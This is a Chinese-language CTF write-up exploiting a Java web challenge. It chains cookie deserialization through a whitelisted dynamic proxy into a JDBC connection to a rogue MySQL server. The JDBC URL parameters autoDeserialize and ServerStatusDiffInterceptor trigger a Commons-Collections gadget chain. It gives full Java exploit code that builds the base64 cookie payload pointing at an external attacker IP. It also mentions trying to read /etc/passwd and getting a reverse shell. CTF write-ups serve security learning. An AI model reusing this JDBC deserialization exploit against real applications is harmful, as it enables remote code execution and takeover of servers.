考点:JDBC反序列化打CC链+动态代理类触发readobject image.png 一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc 可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链 出现了一个==不常见的依赖库== serialkiller 做了反序列化的过滤器 可以尝试查看其源码 https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml image.png 会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x 一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取

 @GetMapping({"/hello"})
  
    public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
  
        if (cookieData == null || cookieData.equals("")) {
  
            return "redirect:/index";
  
        }
  
        Info info = (Info) deserialize(cookieData);
  
        if (info != null) {
  
            model.addAttribute("info", info.getAllInfo());
  
            return "hello";
  
        }
  
        return "hello";
  
    }
    private Object deserialize(String base64data) {
  
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
  
        try {
  
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
  
            Object obj = ois.readObject();
  
            ois.close();
  
            return obj;
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
            return null;
  
        }
  
    }

我们对/hello路由下的cookie可控 可以传入任意数据 但是 deserialize函数结合SerialKiller 做了白名单过滤 image.png 被反序列化的类只接受 本地的特定包

<regexp>gdufs\..*</regexp>

<regexp>java\.lang\..*</regexp>

仔细观察会发现 image.png 定义类 InfoInvocationHandler 实现了 InvocationHandler, Serializable 可以作为动态代理的处理类 而且==可以被序列化== 而我们的==最终目的==是 触发 DatabaseInfo 类中的 connect方法 image.png

同样的 被代理类实现了 序列化接口和Info接口 image.png 可以被动态代理 方法有 checkAllInfo() getAllInfo() image.png 纵观源码不存在典型的readObject()可以被触发 但是存在 动态代理可以劫持 readObect()的这个动作 image.png

在具体的invoke()之前 就调用了类的 checkAllInfo() 如果被代理的类是 目标类DatabaseInfocheckAllInfo()方法 image.png 是可以实现 发起jdbc的连接的 对于 mysql 8.x版本

characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

通过触发ServerStatusDiffInterceptor拦截器,执行查询语句会调用拦截器的 preProcesspostProcess 方法 作为开头 最终实现ResultSetImplgetObject方法 实现反序列化操作 image.png

编写动态代理类 被代理对象是 DatabaseInfo

package gdufs.challenge.web;  
import gdufs.challenge.web.invocation.InfoInvocationHandler;  
import gdufs.challenge.web.model.DatabaseInfo;  
import gdufs.challenge.web.model.Info;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  
  
  
public class exp {  
    public static void main(String[] args) throws IOException {  
        DatabaseInfo databaseInfo = new DatabaseInfo();  
        databaseInfo.setHost("23.94.38.86");  
        databaseInfo.setPort("3306");  
        databaseInfo.setUsername("J1rrY");  
        databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");  
        InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);  
        Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(infoproxy);  
        String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));  
        System.out.println(poc);  
  
  
    }  
}

这里的Mysql fake server 我选择 https://github.com/rmb122/rogue_mysql_server 具体配置按 Readme来就可以了 可以简单尝试一下都读取 /etc/passwd 失败了 image.png 直接用 JDBC反序列化链打CC链 image.png 环境出网,反弹shell就可以了 image.png